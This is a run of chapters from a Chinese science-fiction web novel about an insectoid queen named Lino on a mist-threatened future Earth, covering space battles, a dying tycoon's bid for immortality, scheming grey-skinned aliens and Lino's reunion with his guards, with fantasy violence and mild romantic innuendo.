“做、做什么？你们冕下让你杀我？”由于高等虫族的气势过于骇人，希尔维乌斯走到这个人类面前时，冷冽的眸光让这名敢死小队成员又有了上厕所的欲望。 希尔维乌斯抛出十根在实验室找到的金条。 金子在任何时候都是硬通货，那人连忙接住，热情问：“得了，爷，您也要学甜点烘焙吗？” 希尔维乌斯冷漠点头，变强第一步，先学会制作冕下喜欢吃的甜点。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 利诺的意识海中，一大团星点从边缘跳跃至他的附近，围绕这弯月在极速跳跃。 然而，由于众所周知的原因，利诺睡得很深，没有察觉意识海的变化，眼尾缀着愉悦啜泣的红。 他在梦境里无知无觉地趴在一个巨大的莹白色球体上，和身下的意识体说着自己都不会记得的话。 “将军，三十二队在十天前进入的一扇门再次涌出一群怪物，三十二队仍旧没有出来！”大校急吼吼冲进联盟军在月球上的临时驻扎点，“其他兄弟刚解决完之前的怪物群，死的人不少，这次让我带队去处理那些怪物！” 负责整个联盟军的将军是个发鬓斑白的老人，人类的科技发展到现在的阶段，寿命延长至二百六十岁左右，这样的容貌真切反映出他的年纪确实很大了。 这位老将军已经退休，但因为黑雾侵蚀接连造成数名将军上将的死亡，联盟这才不得不再次把这位老将军请出来安稳整个联盟军。 老将军的眼睛依旧残留着年轻时的锐利，他将刚收到的联盟来信交给大校：“这是伊夫那小子得到的消息。” 大校是个急性子，把由电子通讯转化的文字匆匆看了遍：“异族？还是对黑雾很了解的异族？” “将军，这消息保真吗？” “伊夫说可信度不低。”老将军将几个军衔较高的人也交了过来，商讨间决定相信这个消息。 事实上，联盟军在可怕迷雾的面前节节败退，除了相信异族提供的信息，他们别无选择。 迷雾侵蚀的速度越来越快了，再过几个月，就会将地球的卫星月球也吞噬殆尽。 大校带着自己的队伍，配备杀伤力大的武器去解决那些怪物。 第一批从门内跑出来的怪物皮肉结实得吓人，如果不是联盟军的太空飞船有最新的射击炮，恐怕他们都杀不死那些怪物。 这次从另一扇门跑出来的怪物与上一次的不一样，但体格更巨大、外表更凶悍。 这种被迷雾同化的怪物已经不算是生物，而更像是迷雾操纵的傀儡，携带黑雾迅速往外弥漫。 联盟军没有虫族那过于霸道的身体条件，如果不穿笨重的航空服，就不能在太空行走。 这次的怪物比起上次的怪物，防御力明显更上一个层次，射击炮往往要接连十来发才可以杀掉怪物。 “Fuck！Fuck！Fuck！”大校爆出一连串的脏话。 怪物没有理智，越发狂躁，在身体上生长的两串眼睛没有半分神采，挥舞巨大的钳子去袭击最近的飞船。 射击炮无法做到不停歇地使用，期间需要时间去补充可以在真空环境发射的特殊材料，一些怪物会因为这一瞬间的停止而接近那些小型飞船，刺碎特种玻璃，将驾驶员拖拽出来。 飞船一旦破损，里面的人暴露在太空环境下，就很难活下来，即使事先穿上航空服，也会因为行动迟缓而被怪物抓住。 怪物造成的伤口迅速肿胀、冻结，血液不像在地球那样喷溅，而是沸腾汽化。 战况越发激烈，在即将到达高峰前，接连几处莫名的红光闪现，几百艘与人类造物完全不同的军舰在红光撕裂时空时，从缝隙缓缓驶出。 舰队以几艘大型军舰为核心，周围是数艘中型和小型军舰，漆黑的舰身反射神秘的色彩。 除却这些明显是外星科技的船舰，大校还看到一些非人的生物暴露在太空中，失语之际，他打开飞船的视角共享，将这些画面共享给月球的临时基地。 分散在各个星舰边的熊蜂顺应领队的号召飞舞到熊蜂领队身边。 领队的小眼睛左右旋转，没有看到喜爱的冕下，疑惑摸头：“嘿咻？” “你怎么回事，我们冕下呢？”伊戈提安只看到了那些令虫生厌的怪物，厌恶皱眉。 在最近一段时间内，自告奋勇去驱散迷雾的伊戈提安杀怪物杀到恶心，再加上小虫母从一开始回应一两句到后面的完全沉默，伊戈提安想念利诺想的紧，在得知冕下意外到达未知区域后，厚脸皮跟了过来。 伊戈提安摸了摸戒指形状的空间钮，那里面有他给冕下带的很多礼物，他打算用这些礼物来讨冕下一个吻的。 谁知道，这些熊蜂却把他们带到了全是逃逸怪物的太空上，就知道他们不靠谱！ 暴躁的伊戈提安一尾钩将不怕死凑来的几头怪物拍成碎末。 熊峰领队扬起獠牙，凶狠地朝伊戈提安露出腹部的毒针，伊戈提安是他最讨厌的虫子，没有之一！ 因为手贱拿熊蜂的酿蜜罐而惨遭熊峰毒针蛰包的伊戈提安嗤笑：“别以为我怕你，要不是冕下喜欢你们，就这么点大的针能刺到我？” 熊蜂领队的毛被不要脸的伊戈提安气得炸开。 安瑟姆挡在一蚁一蜂之间，无奈：“先不要吵，冕下看到会不高兴的！” 由于安瑟姆被公认为最接近冕下的虫，伊戈提安到底有所忌惮，害怕安瑟姆给冕下吹枕头风，说他坏话。 因此，伊戈提安如今并不经常惹怒安瑟姆，主要是安瑟姆这虫因为从小的定向培养而情绪稳定得可怕，很少动怒。 毕竟虫母身边最需要细心平和的侍从，而非桀骜不驯的雄虫。 就连那时候伊戈提安偷走安瑟姆对利诺的赞美，安瑟姆也只是独自郁闷生气。 伊戈提安对腕表吩咐：“下来一组士兵，先把周围的怪物清剿干净。” “是，阁下！”十来名虫族士兵从一艘星舰飞下，动作利落。 安瑟姆问伊戈提安：“你在这里可以找到冕下吗？” “当然！”伊戈提安望向地球的方向，“我已经……闻到了冕下香甜的味道……” 突然，伊戈提安转头看到一处空旷的地方，迟疑：“我好像看到冕下被球包裹住滚了过去？” 荒漠追寻蚁的能力从不会出错，可是安瑟姆顺着伊戈提安的方向去看，什么都没有看到。 伊戈提安自我怀疑：“应该是我看错了？我们还是快去找冕下，不知道冕下有没有吃好睡好。” 安瑟姆同样担忧。 “伊戈提安军长，有非怪物的生物在这里，需要消灭吗？”虫族士兵问道。 “生物？”伊戈提安透过怪物飘着的尸块群，与飞船上的大校对上视线。 在大校喉头干涩，要开口说话时，伊戈提安确定了这种生物的脆弱，不以为意：“不用。” 他报出舰队接下来前进的方向，和安瑟姆以及一群嘿咻的熊蜂朝地球飞去。 “老将军，他们走了……怪物们全被……恩……剁成块了。”大校道。 老将军通过飞船的视角共享看到了这一切，并留意到这些异族舰队离开的方向正是地球。 ！放松的心顿时又紧张起来。 生活助理见老将军捂住心口，立马递来速心急救丸让老将军吃下。 将军喘息道：“快，联系议会长伊夫巴纳巴斯，告诉他那位冕下的同族似乎找来了！” 地球处于夜晚的时间比蓝星要长，在天色昏暗与青白交织时，生物钟把利诺叫了起来。 利诺要给希尔维乌斯一个五星好评，因为希尔维乌斯没有像赫弥珞那样过度压榨他，也不像安瑟姆那样do起来把他当折叠屏。 适当的发泄令利诺今早的容貌愈艳，似是玫瑰在清早完全绽放，娇艳的花瓣被露珠彻底滋润，白皙的脸颊透出淡淡的粉。 不止虫族，就连整个敢死小队也都看呆了，冒着粉红泡泡，全程注视利诺将沾满酱汁的肠粉送进嘴里拒绝，咬肌鼓起。 利诺习惯被注视，压根不觉得是种困扰，他只惊艳于肠粉的味道。 末世食物的花样没有那么多，人们还是以吃饱为主，利诺的基地在北方，压根吃不到这种食物。 “我能再来一份吗？”利诺捧着空掉的盘子，仰头问魁梧汉子。 魁梧汉子摸着裤腿，蹭掉手心的汗，连连点头：“当然可以，俺给你弄份带肉的。” 好耶！小虫母高兴地欢呼了声。 “你们冕下，很像俺小子。俺小子吃到喜欢的，也会特别高兴，所以俺没事的时候，就会给俺小子琢磨他爱吃的。”魁梧汉子刷上一层油，将事前磨好的米浆倒出薄薄一层，用罩子盖住。 半虫士兵不理解魁梧汉子在给冕下做饭的时候为什么要谈起儿子，他缺乏同情的能力，但由于魁梧汉子让冕下很高兴，所以他点头表示自己在听。 “俺进了监狱后，干的劳动太多，只能在睡觉的时候想新菜式，就等着出来后给俺媳妇儿和小子做。” 魁梧汉子的声线低下去：“可俺不明白，好不容易熬出狱，见到的是俺爹娘、俺媳妇儿和俺小子的坟。” 蒸肠粉的时间不需要太长，魁梧汉子打开盖子，把呈半透明的米皮挑出来，撒上挑好的料汁。 魁梧汉子把东西递给半虫：“你去给你们冕下送吧。”他擦了擦眼，“谢谢你们替俺报了仇。” 后来，他加入了反抗军，把陷害他、害他没了家的餐厅老板一家杀了，可是庇护餐厅老板的集团高层他始终无法接近。 这次他抱着必死的决心接受任务，就是因为那个高层这几天正好在第三实验室里。 他找到高管的时候，高管死得不能再死，魁梧汉子大仇得报，他的家人终于在九泉之下可以安息。 他感谢利诺和杀死高管的半虫，没有他们，也许就算死也无法报仇。 “有人来了。”利诺吃下最后一口食物，对半虫道，“把他们放进来。” 第62章 利诺仅在这所实验室待了不到两天，但里面的放置风格与之前已大相径庭。 虫族的特性放在这里，即使半虫回归的时间还不长，可和虫母从身体和精神上的紧密联系会让他们下意识改造虫母会喜欢的巢穴。 “这里，和我之前记忆里的实验室不太一样了。”老人在两名保镖的搀扶下，颤巍巍地从打开的入口进入地下实验室。 在很短的时间内，虫族把整个地下实验室改造成虫母更喜爱的温暖舒适的小窝，实验室内象征理性和冷淡的灰白色由大面积暖调色彩代替。 “诺亚先生，请您万分小心！你如今的身体不允许你做这样的行动。”搀扶老头的两个保镖同样是科技集团的财产，仅剩下1％的大脑结构，其余全由人造组织覆盖，是绝对忠诚、兼保镖和保姆于一体的产物。 诺亚忽视了保镖基于他的身体状态发出的警告，而是仰头看向接他与利诺交流的半虫。 苍老衰败的眼睛亮了亮，看半虫更像是在看一份优秀的产品：“你似乎更完美了，从单纯的生物武器蜕化成了真正的生命，是因为那位冕下的缘故吗？寿命是不是也有所延长？” 被人为制造出来的半虫只是冷漠地瞥了眼瘦小如蝼蚁的老人，不屑回答，扭头就走。 半虫的背影挺拔自信，鼓胀的精悍肌肉显出他蕴含在内的强大爆发力。 老人并没觉得冒犯，而是咳嗽几声，在吸了几口保镖带来的氧后，吩咐：“跟着他走。” 一路上，这三个外来者遇到了不少半虫，半虫曾经是诺亚之舟集团的产物和可供调遣差使的消耗品，他们是没有灵魂的人造品。 可老人惊异地发现，原来这些失败品并不算是真正意义上的失败，反而，他们只是缺了一个核心。 已三百多岁高龄的诺亚进入宽敞的研讨室，一眼看到坐在沙发上的漂亮青年。 半虫缺失的核心，正是眼前的异族青年，他来了，半虫就从失败品成为了成功品。 诺亚的目光黏在利诺的身上，却因为希尔维乌斯和艾默里的杀意而不得不收起这种傲慢冒犯的打量目光。 “不好意思，冕下，我第一次见到像您这么完美的生命体，您不介意吧？”老头坐在了为他准备的硬板凳上，即使如今老到皮包骨，他依旧保留有商人的本色，“虽然不需要自我介绍，但出于礼貌，我认为我还是需要自我介绍，我是诺亚K诺尔特，诺亚之舟科技集团的创始人。” 利诺不欺负老头，然而眼前这个是例外，他随意靠在松软的沙发上：“很介意。” 诺亚也下意识地想靠在背椅上，后背的空气提醒他，虫族为他准备的只是个单纯的、最廉价的座椅，甚至坐上去都会发出“吱呀”的呻吟声。 虫族的小心眼体现在此，谁让诺亚使用他们虫族的基因、用残忍的办法制造出半虫，制造出来还不好好对待，简直当奴隶一样。 老头面色不改：“抱歉，请您原谅。” 他叹息：“真是完美的生物，完美的种族，与您和您的族群相比，人类完全比不上。” 上辈子是人类的利诺淡淡道：“我不觉得人类很弱，你只是瞧不上你的种族，难道是因为觉得人类的寿命太短，满足不了你的欲望吗？” 诺亚的微笑几乎要绷不住，狠狠吸了几口氧气，才慢慢说：“自古以来，凡是站在顶点上的霸主都在追寻长生之道，我只是其中一个罢了。” “……”利诺诚恳道，“他们都没有成功。” 诺亚自信：“我会成功。” 利诺死鱼眼：“你？” 老头保持礼貌的微笑：“是的。” 利诺一言难尽地看了眼这个老头，心想这老头疯了，还你会成功，当年人秦始皇都没成功，你甚至都比不上秦始皇的一根腿毛！ 青年没说话，但实际上什么都说了，诺亚的笑容彻底淡下去：“冕下，我亲自来找您，不是来和您拉扯这个的。” “我亲自接待你，也不是想看一个发疯老头做梦的。”利诺重音强调“亲自”二字。 诺亚随身配备的身体检测发出警告的滴滴声，警告他的血压在升高。 利诺连忙阻止：“先把我要的东西给了你再死。” “滴滴滴！滴滴滴！警告警告，病人的生命特征在急速下降！警告警告！” 利诺不说话还好，这句话一出，三百岁的高龄老人已经口吐白沫了，两个随身保镖连忙开始急救。 “不是我干的哦，你们都看到了，是他突然要死的！”头次欺负百岁老人的利诺举起双手，很是无辜。 “我作证！”房间里除了无暇顾及的三个外来者，其他都是利诺这边的虫族。 自己虫当然要向着自己虫，更何况，举手解释的小虫母很可爱！ 唯一有腕表的希尔维乌斯迫不及待地打开腕表的摄影功能，拍下了利诺又一张漂亮影像。 希尔维乌斯的拍照动作得到了利诺的认可，他在床上亲吻颤抖的小蝴蝶，在小蝴蝶受不住点头时才松开捏着小小蝴蝶的手。 对此利诺想说，没事千万不要在床上轻易许诺什么，他连事后说“男人在床上说的话都不可信”都无法说。 利诺抽一口糖果版事后烟.JPG 刚加入虫族的半虫哪里有这种设备，一只只无比羡慕，纷纷盘算要怎么才能从希尔维乌斯那里要来一张。 在那边，诺亚已经被抢救回来，松垮的脸更加贴不住头骨，阴沉的皱纹层层堆叠。 诺亚喘息几口：“冕下难道是想要我们提取您种族的不完整基因和那些半虫吗？” 利诺：“不然呢？” “地球上目前有百亿人口，您难道不想要更多的半虫吗？”诺亚趴在桌子上。 “您的种族数量一定很少吧，不然您不可能千里迢迢来地球，只为了那点基因。” 利诺挠脸：“有没有可能，这只是一个意外。” 比如，他只是一个因为开玉石而无辜乱入地球、意外发现半虫索性扩张族群的路人？ 诺亚咳嗽道：“不管是不是意外，您都来到了这里，只要你愿意，诺亚之舟愿为您将百亿人类改造成半虫！” “那你呢？你想要什么？”利诺问。 诺亚浑浊的眼中燃起强烈的火焰：“我要长生，我要不死！” 利诺慢吞吞地喝了口甜牛奶，不得不说，还是地球上的牛奶更好喝。 “您觉得怎么样？”诺亚急促道，他的时间不多了，正因为如此，他才想最后赌一把。 诺亚曾无比痛恨人类的寿命是那么短暂，哪怕医学和科技的进步让人类的寿命提升到两百多岁，可他依旧觉得很短，短到他花费百年的时间创造出一个庞大的集团，却没有多少的时间去享受无尽的财富和权力！ 他不服，平民的岁数多少他不关注，可他这么厉害，凭什么动用各种手段也只能活到三百岁？！ 利诺故意拖时间，等到诺亚差点发狂才慢吞吞地回答：“我拒绝。” “为什么？你不想要壮大你的族群？强大的族群在繁衍上肯定困难，而且你们种族都是没有生育能力的单性……”诺亚不敢置信，那块断骨不仅让他有了改造半虫的技术，也初步推测出虫族在强大背后的局限。 他认为这个条件虫族不可能会不被诱惑，没有一个强大却繁衍困难的种族会拒绝。 也许此时诺亚面对的是另一个强大却繁衍同样困难的种族，他会成功。 可他面对的利诺是虫族的虫母，这个虫母甚至有着上辈子身为人类的记忆。 利诺摸摸鼻子：“……” 原则上，他可以生很多，只要雄虫的基因足够，只要意识海内的虫树足够大。 只是利诺现在虽然愿意履行虫母的责任，去繁衍子嗣，可他还小，虫树也还小，他觉得他现在不需要揠苗助长，也不需要成为纯粹的生育机器。 总而言之，利诺他还是个孩子！在虫族中，不过十八九岁的利诺真的只是个孩子！ 利诺难以启齿自己的生子能力，希尔维乌斯握住了利诺的手，似乎是在安慰他。 他冷冷地对诺亚说：“我们虫族不屑于改造其他的种族。” 希尔维乌斯说的话是很简单的地球世界语，高等虫族的能力很强，更何况星际通用语和世界语在本质上相似。 昏迷的诺亚被两名保镖抬着走了，利诺没对百岁老人动手，只是临走前提醒他的保镖：“离中午还有三个小时哦！” 艾米丽突然道：“诺亚诺尔特的设想很有诱惑力，整整百亿的人口，一旦全部成为半虫……” 而最大的集团，也完全有资本去实现这个构想，艾米丽这几天有稍微了解到利诺的族群。 试问如果她是利诺，她或许有一半的可能去答应，毕竟虫族现在面临的困境是虫少地多，还有迷雾的威胁。 利诺咬了口小饼干，拄着下巴：“不稀罕，而且，我们也不知道怎么延长人类的寿命。” 在艾米丽的目光下，利诺笑眯眯道：“而且人类缠上种植和制作食物，为了我的味觉，我也不想让人类成为半虫。” 虫族天生在种地和烹饪上就少了一条筋，那些黑土地科研院是研究出来了一些东西，可是种出来的食物仍旧不理想。 艾米丽万万没想到，最后笼络到这位虫族冕下的，竟然是人类的食物。 利诺嚼着奶味小饼干：“接下来，就等诺亚之舟把我要的东西送过来了。” 艾米丽这才想起来一件事：“冕下，听说诺亚有个儿子，早些年与诺亚理念不和，被诺亚赶出了集团。” “你的意思是，诺亚儿子会不把我要的基因和半虫给我？” 艾米丽摇头：“应该不会，诺亚的那个儿子不知所踪，我只是想起来有这么一件事。” 第63章 诺亚在半路上死了，带着浓浓的不甘。 再先进的科技也无法阻挡他的死亡，在现有的科技水平下，他的身体已经到达了可以达到的极点。 诺亚之舟因为掌权者的死亡而短暂陷入混乱，但即便如此，那些知情的高管也不敢忽视虫族的要求，急吼吼收集各实验室内的虫族基因、集合遍布各地的所有半虫士兵，准备给虫族送过去。 然而现有的虫族基因和半虫士兵分散在全球范围内的，即使在此之前高管已经开始有目的地在做准备，然而时间还是太赶了。 “派个人！派个人！去和那位冕下道歉，请求他在给些时间！”曾目睹两只雄虫在瞬间消灭整群战机的高管之一惊慌不定，他早被虫族那诡异的复眼、非人的鞘翅而吓破了胆子。 另外一个高管表现更加不堪，腿颤抖得不成样子，那天画面最后异族如同昆虫般冰冷又血腥的复眼成了他永久的噩梦梦魇：“对对对，快来个人去！” 诺亚之舟科技集团的总部会议室内，几个高管心脏狂跳，恐惧让血液极速流淌。 他们忙于去满足虫族提出的要求，竟然都忘记了诺亚本尊，如今他的尸体还在车上躺，大有躺到发臭的趋势。 “砰！”会议室的门大力打开，和年轻时的亚当有五分的相似，但五官要更加阴沉。 亚当在几年前放逐的唯一继承人居然赶在今日再度回到了诺亚之舟的总部。 “赛特？”有高管不确定地喊。 赛特将把纸质医嘱扔到床上，眉心陷下一道悬针纹：“遗嘱说，在我父亲死后，我会继承诺亚之舟的所有股份，行使和我父亲一样的掌控权。” “遗嘱是真的。”高管仅仅看了眼那些文件，便认可了遗嘱的合法性。 赛特坐下，他的身边裹挟着干燥的风沙气味，深沉的面容露出一些神经质来：“我不会把任何集团的财产转交给异族。” “不给的话，他们会毁了我们所有人的！”高管之一惊呼，“你知道那些异族有多可怕吗？” 赛特冷笑一声：“各位冷静，我这么做有这么做的把握。” 手掌拍在红木桌上：“各位不会以为现在地球上只有那些虫子一个异族吧？在这些虫子来之前，就有一个强悍的种族扎根在地球数千年。” 当年赛特被赶出诺亚之舟的权利中心，是因为他执着和灰皮肤的异族结婚。 诺亚平等鄙夷一切寿命短的种族，崇拜寿命长的种族，更何况，自称灰塔族的异族只是逃难的来的地球，长期隐居在无人的森林深处，寿命不过百年，比人类的寿命还要短。 碍于灰塔族的要求，这件事除了亚当和赛特，再也没有其他人知道。 逃难的灰塔只想本分生存，直到本星度过磨难，再来接他们回去，直到这支灰塔中一个地位极高的年轻雌性和来丛林探险的赛特一见钟情并举行了婚礼。 赛特自放逐后，就一直在灰塔族内和妻子生活，他的野心在近些年来目睹灰塔的强大后而日益膨胀，如今他更是收到了亚当死后的遗嘱。 灰塔是一个古老且极度团结的种族，当初黑雾侵袭，灰塔不得已才让一部分族人乘坐飞船逃难，以此保留灰塔的最后火种，剩下的灰塔族则是全力以赴对抗黑雾。 灰塔帮助赛特也不仅是因为赛特的灰塔族妻子，而是他们近日收到了来自本星的讯息，本星上的本族如今已经初步掌握了对抗迷雾的办法，准备把这支族群带回本星。 谨小慎微的灰塔有了依靠，和赛特接触的部分灰塔便有了其他的野望，那就是将地球当做灰塔的殖民星球。 近些年来，赛特了解了灰塔族很多，也知道宇宙不仅只有人类这个种族，还有更多如同灰塔族这般的星际种族。 星际种族彼此交流贸易，组成了相对稳定的联盟，直到迷雾突然出现，侵蚀掉无数星际种族，但即便如此，灰塔族也和残存的部分星际种族保持友好合作的关系。 再加上灰塔族无比确定，在迷雾降临前，不曾有类似虫子的种族，虫族一定是一个新生的种族。 于是赛特很自信，只要他和灰塔族合作，区区新生种族肯定不会再这么猖狂！ 他真切见过灰塔族的强大，和本族联系上的灰塔族只会更强！ 然而赛特的话并没有说服大多数高管，他们曾亲眼见过虫族的强大，至于一个又冒出来的灰塔，他们完全不觉得可以伤害到虫族。 “我要辞职！”一个高管站起来，干脆道，这世道越来越不太平了，一个又一个外星种族在地球出现……他又没有集团股份，只是年薪很高的高管而已，不至于要和新继承人一起送死。 高薪工作可以不要，但命不能不要！ 这个高管只是开始，随着越来越多的高管准备辞职，赛特神色越来越阴鸷，旋转无名指上的戒指。 戒指的荧光闪现，最开始提出辞职的高管在准备离开时，捂住疼痛的脖子，似乎有什么东西侵入了他的大脑，在里面搅来搅去。 高管的脑袋不可思议地开始胀大，然后就像是吹过头的气球，砰地爆炸。 在其余高管的尖叫中，赛特摩挲戒指：“除了他，还有人要辞职吗？” 没有人想自己的脑子也这么炸掉，在惊慌中默不作声。 赛特满意道：“很好，接下来，我会让灰塔族去消灭这些虫子。” 利诺厌倦了没完没了的试探，从地下实验室出来，他的精神力揪出一个灰色皮肤的人型生物。 “我们灰塔族早就扎根地球千年，地球早已是我们都囊中之物，你们异族胆敢冒犯灰塔族，罪不可赦！” “卑微且弱小的新生族群，快来向伟大而古老的灰塔文明拜服，不然，强大的灰塔文明会让你们恐惧颤抖。”灰人说着神神叨叨的话。 他的脑袋很大，在说话间，利诺感觉到精神力从他硕大的脑袋里探出，朝着他的头冲来。 这点精神力太微弱了，利诺压根不用放出精神力反制，觉醒意识海的艾默里单方面就将这点精神力碾碎了。 灰塔族震惊：“怎么可能？区区新生种族，怎么会掌握如此深奥的精神力！” 利诺觉得这名灰塔族似乎长了红色的小丑鼻子，他接下来的话更加打击前来摸清异族情况的灰塔：“区区精神力，我们新生的虫族都会用。” 他轻易侵入灰塔的意识海，灰塔族的意识海和虫族的完全不一样，利诺的侵入只会搅碎灰塔的意识海。 灰塔捂住头开始惨叫，利诺冷道：“不管你们是不是为了诺亚之舟来的，给我带一句话回去，敢阻挠我虫族带走本族的基因和同族，后果自负。” 送走惊骇的灰塔族，利诺回头看到震惊的敢死小队，同情地拍了拍艾米丽的肩膀：“原来地球早就有外星入侵了。” “小灰人？灰塔族？”艾米丽一连发出无数个问号，向利诺求助。 利诺摊手：“不好意思，我们只是新生种族，甚至不知道还有其他星际种族存在。” 这名灰塔族被搅碎意识海、丧失操纵精神力的下场让本就偏胆小的灰塔族那点野望再度消散。 在利诺不知道的情况下，坚持消灭虫族的赛特和他的妻子被灰塔逐出了族群，赛特在集团上蹦下跳没两个小时，就被其余联系上灰塔的高管给干掉了。 在中午十二点，诺亚之舟把利诺要的都送了过来。 与此同时，还有几只乘坐长方形飞行物的灰塔族也带着代表歉意的礼物来到实验室附近。 半虫的数量极其庞大，诺亚之舟就算动员全部力量，也仅仅把周遭几座城市的所有半虫士兵带了过来，光这样，半虫的数量就达到了十万。 好在实验室在郊区，十万的半虫整齐排成队列，除了声势浩大外，不算过于拥挤。 负责此次行动的高管双腿哆嗦，默背一会儿要和这位虫族冕下解释的话，巧合下，他和从飞行船下来的灰塔族长老站在一起。 高管也是今天才知道灰塔这个外星族群，他就是和和同样吓破胆的灰塔迅速搭上关系、一起弄死赛特的高管之一。 “兄弟，你来做什么？”高管问大长老。 大长老亲自捧着一份礼盒，眼皮耷拉：“向那位冕下道歉。” 灰塔被赛特鼓动起来的野心，在见到那名意识海破碎的同族后就彻底消散并摆烂了。 在星际种族繁多的宇宙中能够有一席之地，灰塔族深谙见风使舵的本事，优点是脸皮厚，善于剥削弱者、讨好强者，就算这支灰塔族在地球生活许久，这些赖以生存的本事没有忘记。 高管一拍大腿根：“失算了，我也应该带点礼物来的！” 纵然悔恨，但时间不够了，高管只能祈祷自己不被弄死。 干完这票就辞职！这是目前诺亚之舟大部分高管的想法。 因为创始人和继承人的迅速离世，诺亚之后如今风雨飘摇，其他眼馋的集团纷纷趁机蚕食，明眼人都能看出来，诺亚之舟要不行了。 可这看在远道而来的虫族眼里，就像是一群凶恶势力包围了他们漂亮可怜的小虫母，要欺负弱小无助的小虫母！ 这能忍？ 虫族的军舰群骤然出现，如同纯黑的乌云，遮盖太阳的光线，黑压压一片。 安瑟姆和伊戈提安从军舰内跳下来，恐怖的杀意笼罩住人类高管和灰塔大长老。 第64章 两名高等虫族之所以没有第一时间杀死人类高管和灰塔长老，是因为他们身后的半虫。 那些半虫身上混着着人类和虫族的气息，伊戈提安在短暂的疑惑后，眸光愈发冷淡：“你们拿虫族搞实验？” 安瑟姆补充：“不仅拿虫族搞实验，还来欺负我们的冕下！” 在得知冕下离奇失踪后，镇守蓝星的安瑟姆和刚从星系边缘回来的伊戈提安着急得不行，他们连通过意识海联络利诺都做不到。 这是从来没有过的情况，若不是意识海内的弯月仍旧明亮，他们只怕要绝望到和冕下一起死去！ “他们在说什么？”人类高管完全听不懂虫族的通用语，只能茫然地礼貌微笑，表示自己的友好。 倒是同为星际种族的灰塔族能够听懂，他们虽生活在地球，懂得地球的语言，但代代传承中，通用语始终没有忘记学习和传授。 大长老捋了把同样灰不拉叽的胡子，有被异族的话无语到，什么叫他们欺负他们的冕下！ 他们灰塔不过是想试探下，在发觉虫族惹不起后迅速滑跪，只求能搭上没有听说过却前所未有强大的种族。 灰塔大长老沉默稍许，勉强道：“我们是来赔礼道歉的。” 人类高管听不懂，在大长老说完后礼貌点头，笑容谄媚。 大长老认为人类不太聪明，好心补充：“这个人类也是。” “安瑟姆！伊戈提安！”一道明媚的嗓音让两个杀气腾腾的高等虫族立马收敛煞气。 感知到虫族星点的利诺奔到安瑟姆的怀里，他的腹腔内曾因为这个雄虫留下的气息和液体而高高鼓起，因此利诺在面对安瑟姆和伊戈提安时，下意识偏向更亲密的侍卫。 忠诚的护卫长搂住他的冕下，与冕下面贴面。 虫族额前还原出两条长长的触角，与虫母的脸颊、耳朵和脖颈触碰，留下淡淡的味道。 利诺眯起眼：“痒！” 安德姆眼眶热热的：“请冕下惩罚我，是我的疏忽，让冕下没有享受到度假的美妙，反而来到……。” 高等虫族挑剔道：“这么一个被重度污染的星球。” 伊戈提安羡慕得眼珠子更加血红，及时补充：“生物还这么多，冕下一定会觉得很挤！” 利诺从安瑟姆的怀里退出，同样亲热地抱着伊戈提安：“伊戈提安，好久不见。” 伊戈提安顿时觉得无比幸福，他抱起小虫母：“是的，冕下，好久不见了，我这次关闭了很多很多迷雾之门！也给您收集了许多许多的礼物！” 戒指形状的空间钮亮了亮，伊戈提安献宝似的让利诺用精神力触及其中的内容和。 利诺眨眨眼，摸上空间钮：“伊戈提安你真好，好多礼物……” 全是亮晶晶的东西，其中一多半利诺都没有见到过，应该是伊戈提安在驱散迷雾后的外星系星球找到的。 利诺仗着此时的姿势，摸了摸伊戈提安的头，凑在他的耳边轻声道：“乖大狗！” 小狗是洛尔南。 伊戈提安的脸颊顿时涨到通红，他同样低声喊：“汪！大狗也给冕下存储了很多蜜液……” 伊戈提安的蜜液是草莓味的，贪吃的虫母舔了舔红唇。 两虫的交流纯粹加密，就连离他们最近的安瑟姆都没有听清楚，只是意外地看了眼伊戈提安。 混不吝的坏虫伊戈提安竟然也有脸红害羞的一天！ 尽职尽责的安瑟姆在腕表上多加了“希尔维乌斯”这个名字。 那张名单的名称为“冕下的现任虫夫”，除了新加的名字，还有“赫弥珞”和“安瑟姆”。 安瑟姆感受到了利诺在体内属于希尔维乌斯的气味，这相当于希尔维乌斯已经和冕下有了亲密的举止，理应成为冕下的虫夫之一。 只是安瑟姆没有想到，他和冕下被称为伴侣的时间会这么短。 虫群的基因默认，在虫母下一名虫族交/尾前，与虫母亲密过的当前虫族在名义上会是冕下当前的伴侣，但如果虫母决定和下一名虫族交/尾，那位虫母伴侣的身份会移交给下一名虫族。 安瑟姆有些怅然，他和所有的虫都深深地爱着他们的妈妈，多少会在得到妈妈的宠爱后产生独占和嫉妒的心理。 但也只有这一瞬间，毕竟他如今虽然不是冕下的伴侣，但却是冕下写到史书里的虫夫之一。 相较于赫弥珞元帅，安瑟姆足够幸运，即使不再是冕下的伴侣，但他依旧是冕下最亲近的护卫长，有更多的时间和冕下相处、为冕下喂食，也有更多的机会与冕下亲吻。 和下属亲热完，利诺夸奖似地点点熊蜂领队的小脑袋，问安瑟姆：“赫弥珞怎么没来？” 他下意识地询问，暴露了利诺对赫弥珞的依赖。 安瑟姆微微低头：“元帅阁下带着他与您的子嗣去迷雾之门内了，如今还没有出来。” 利诺伸出手指数了数：“这么快，蛋就破壳了？” 这是他第一次真正意义上孕育的虫蛋，利诺多关心了些。 伊戈提安翻了个白眼：“冕下，您不知道那些虫蛋有多烦多闹虫！” 整个虫群都很关注那些从虫母肚子里出来的虫蛋，既羡慕他们是那么幸运能被虫母分娩，又因为他们是虫母的第一批虫蛋而多少有些滤镜。 然而，那些从蛋里一破壳就是成虫形态的虫族完全就是混世魔王，再加上没有虫母的管束，在刚出来时就把看来探视的五军和六军军长打伤了。 他们与其他的虫族也不同，天生有来自雄虫基因的传承，一破壳就是天然的强悍战士。 这些虫子把军部闹了个虫仰狗翻，名义上是虫蛋父亲的赫弥珞出面，这才镇住了他们。 为了消耗他们那无处消耗的活力，赫弥珞便带着他们去迷雾之门了，只等他们熟练后再让他们自己去。 利诺把拳捏得咯吱响，尤其是听到他的两名得力下属被熊孩子弄伤后，咬牙切齿：“等我回去！” 事实上，虫母的母爱就那么点，虫蛋的地位还比不上和利诺一起关闭迷雾之门的下属们。 利诺暗暗决定，不把这些熊孩子揍到屁股开花，他就不叫利诺！ 安瑟姆温柔宽慰利诺：“他们还是孩子，相信赫弥珞元帅阁下会教好他们。” 利诺撇嘴：“还是孩子就能弄伤希莱耳和克凛恩了吗？我不管，我也是孩子，我就要揍他们！” 在利诺和利诺的蛋中，安瑟姆自然偏向利诺，于是纵容道：“冕下放心，我会提前为您准备好武器，以免您伤了手。” “还是安瑟姆你贴心！”小虫母泪眼汪汪。 